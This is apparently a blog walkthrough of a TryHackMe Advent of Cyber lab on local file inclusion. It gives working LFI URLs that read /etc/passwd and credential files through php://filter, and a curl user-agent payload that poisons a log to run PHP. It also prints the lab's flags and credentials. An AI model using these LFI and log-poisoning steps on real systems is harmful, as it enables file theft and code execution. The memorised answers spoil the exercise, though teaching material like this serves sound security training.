    Get started with Cyber Security in 25 days, by learning the basics and completing a new, beginner friendly security exercise every day leading up until Christmas; an advent calendar but with security challenges and not chocolate.


    Hey Guys! Sorry for the delay but, we are back with Day 6 of the “ Advent of Cyber” event by TryHackMe. If you haven’t solved the Day 5 challenge click here.


    This challenge is again based on Web Exploitation and the task is named


    Patch Management is Hard


    DAY 6

    Story


    During a routine security audit before the Incident, McSkidy discovered some recovery passwords on an old server. She created a ticket to decommission this server to reduce this security vulnerability. The Elf assigned to fix this vulnerability kept pushing off the task, and this never got done. Luckily, some of those recovery keys can be used to save some systems.

    Unfortunately, the only way to access the server is through an old web application. See if you can pull out those recovery keys to help McSkidy with her pursuit to save Christmas.



    Learning Objectives of the day


    1.     What is LFI?
    2.     How to perform LFI?
    3.     How to elevate from LFI to RCE?


    Let us understand the concepts targeted for today first!




    What is LFI?


    An LFI vulnerability is found in various web applications. As an example, in the PHP, the following functions cause this kind of vulnerability:


    1.     include
    2.     require
    3.     include_once
    4.     require_once


        
        

    It is a web application vulnerability that allows the attacker to include and read local files on the server. These files could contain sensitive data such as cryptographic keys, databases that contain passwords, and other private data. An LFI vulnerability happens due to a developer’s lack of security awareness. In some cases, developers need to include the content of other local files within a specific page. Suppose a developer includes files without proper input validation. In that case, the LFI vulnerability will exist as a developer should never trust user input and keep all inputs from users to be filtered and sanitized. The main issue of these vulnerabilities is the lack of input validation, in which the user inputs are not sanitized or validated, and the user controls them.


    You should read the content given with the challenge for the best understanding of LFI



    Q1.Deploy the attached VM and look around. What is the entry point for our web application?

     


    TryHackMe Web Exploitation Patch Management Is Hard



    Ans :- err


    Q2.Use the entry point to perform LFI to read the /etc/flag file. What is the flag?

    We first go to our entry point and replace the error.txt file with ‘/etc/passwd’ file just to check if we can get it!


    root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh mysql:x:101:102:MySQL Server,,,:/nonexistent:/bin/false 
    
    
    




    Yes we have access, but normally we shouldn’t have that!


    TryHackMe Web Exploitation Patch Management Is Hard



    Now we check for /etc/flag and voila!



    Ans :- THM{d29e08941cf7fe41df55f1a7da6c4c06}



    Q3.Use the PHP filter technique to read the source code of the index.php. What is the $flag variable’s value?

    We use the PHP filter technique to read the code for index.php by using :

    php://filter/convert.base64-encode/resource=

    https://10-10-247-133.p.thmlabs.com/index.php?err=php://filter/convert.base64-encode/resource=index.php
    



    TryHackMe Web Exploitation Patch Management Is Hard



    Once we find the base64 encoding for it, we go to https://www.base64decode.org/ and decode it for our answer!

    Or

    You can use the base64 command in terminal...


    echo "aplhanumeric character" | base64 -d


    echo "PD9waHAgc2Vzc2lvbl9zdGFydCgpOwokZmxhZyA9ICJUSE17NzkxZDQzZDQ2MDE4YTBkODkzNjFkYmY2MGQ1ZDllYjh9IjsKaW5jbHVkZSgiLi9pbmNsdWRlcy9jcmVkcy5waHAiKTsKaWYoJF9TRVNTSU9OWyd1c2VybmFtZSddID09PSAkVVNFUil7ICAgICAgICAgICAgICAgICAgICAgICAgCgloZWFkZXIoICdMb2NhdGlvbjogbWFuYWdlLnBocCcgKTsKCWRpZSgpOwp9IGVsc2UgewoJJGxhYk51bSA9ICIiOwogIHJlcXVpcmUgIi4vaW5jbHVkZXMvaGVhZGVyLnBocCI7Cj8+CjxkaXYgY2xhc3M9InJvdyI+CiAgPGRpdiBjbGFzcz0iY29sLWxnLTEyIj4KICA8L2Rpdj4KICA8ZGl2IGNsYXNzPSJjb2wtbGctOCBjb2wtb2Zmc2V0LTEiPgogICAgICA8P3BocCBpZiAoaXNzZXQoJGVycm9yKSkgeyA/PgogICAgICAgICAgPHNwYW4gY2xhc3M9InRleHQgdGV4dC1kYW5nZXIiPjxiPjw/cGhwIGVjaG8gJGVycm9yOyA/PjwvYj48L3NwYW4+CiAgICAgIDw/cGhwIH0KCj8+CiA8cD5XZWxjb21lIDw/cGhwIGVjaG8gZ2V0VXNlck5hbWUoKTsgPz48L3A+Cgk8ZGl2IGNsYXNzPSJhbGVydCBhbGVydC1kYW5nZXIiIHJvbGU9ImFsZXJ0Ij5UaGlzIHNlcnZlciBoYXMgc2Vuc2l0aXZlIGluZm9ybWF0aW9uLiBOb3RlIEFsbCBhY3Rpb25zIHRvIHRoaXMgc2VydmVyIGFyZSBsb2dnZWQgaW4hPC9kaXY+IAoJPC9kaXY+Cjw/cGhwIGlmKCRlcnJJbmNsdWRlKXsgaW5jbHVkZSgkX0dFVFsnZXJyJ10pO30gPz4KPC9kaXY+Cgo8P3BocAp9Cj8+</div>" | base64 -d
    



    TryHackMe Web Exploitation Patch Management Is Hard


    Answer :-  THM{791d43d46018a0d89361dbf60d5d9eb8}


    Q4.McSkidy forgot his login credential. Can you help him to login in order to recover one of the server’s passwords?


    Now that you read the index.php, there is a login credential PHP file’s path. Use the PHP filter technique to read its content. What are the username and password?


    Using the same base64 encoding of index.php file, we also see that there is ./includes/creds.php which has the credentials.



    https://10-10-231-193.p.thmlabs.com/index.php?err=php://filter/convert.base64-encode/resource=./includes/creds.php
    
    


    TryHackMe Web Exploitation Patch Management Is Hard


    We do the same process and use the PHP filter process to go to this file and then decode it and get the credentials!



    TryHackMe Web Exploitation Patch Management Is Hard



    Answer:- McSkidy:A0C315Aw3s0m




    Q5.Use the credentials to login into the web application. Help McSkidy to recover the server’s password. What is the password of the flag.thm.aoc server?

    We have the username and password, we login and we see a fe options!


    TryHackMe Web Exploitation Patch Management Is Hard



    We know we have to recover the password, so we go on password recovery



    TryHackMe Web Exploitation Patch Management Is Hard


    Answer:- THM{552f313b52e3c3dbf5257d8c6db7f6f1}


    Q6.The web application logs all users’ requests, and only authorized users can read the log file. Use the LFI to gain RCE via the log file page. What is the hostname of the webserver? The log file location is at ./includes/logs/app_access.log.

    We send in a CURL command in order to test the logs and see how it shows.


    curl -A "TESTIN TESTING" http://10-10-88-123.p.thmlabs.com/login.php

    the “-A” option helps us set the User Agent and we see TESTIN TESTING as user agent


    Now, we do the same, instead with a little php payload to display the phpinfo!



    TryHackMe Web Exploitation Patch Management Is Hard


    Now to check the log file we need to go to “./includes/logs/app_access.log”, but, for that, we need to go to another window where we a re not logged in to actually check it!


    And we see the PHP info file in the logs!!!!!

    We can see the hostname directly in the phpinfo in the System column

    Answer:- lfi-aoc-awesome-59aedca683fff9261263bb084880c965


    The question does ask for RCE, but the this task can be completed without RCE!



    Disclaimer

     

    All tutorials are for informational and educational purposes only and have been made using our own routers, servers, websites and other vulnerable free resources. we do not contain any illegal activity. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. Hacking Truth is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used. We do not promote, encourage, support or excite any illegal activity or hacking.

     


  • WHAT WE DO

    We've been developing corporate tailored services for clients for 30 years.

    CONTACT US

    For enquiries you can contact us in several different ways. Contact details are below.

    Hacking Truth.in

    • Street :Road Street 00
    • Person :Person
    • Phone :+045 123 755 755
    • Country :POLAND
    • Email :contact@heaven.com

    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.

    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation.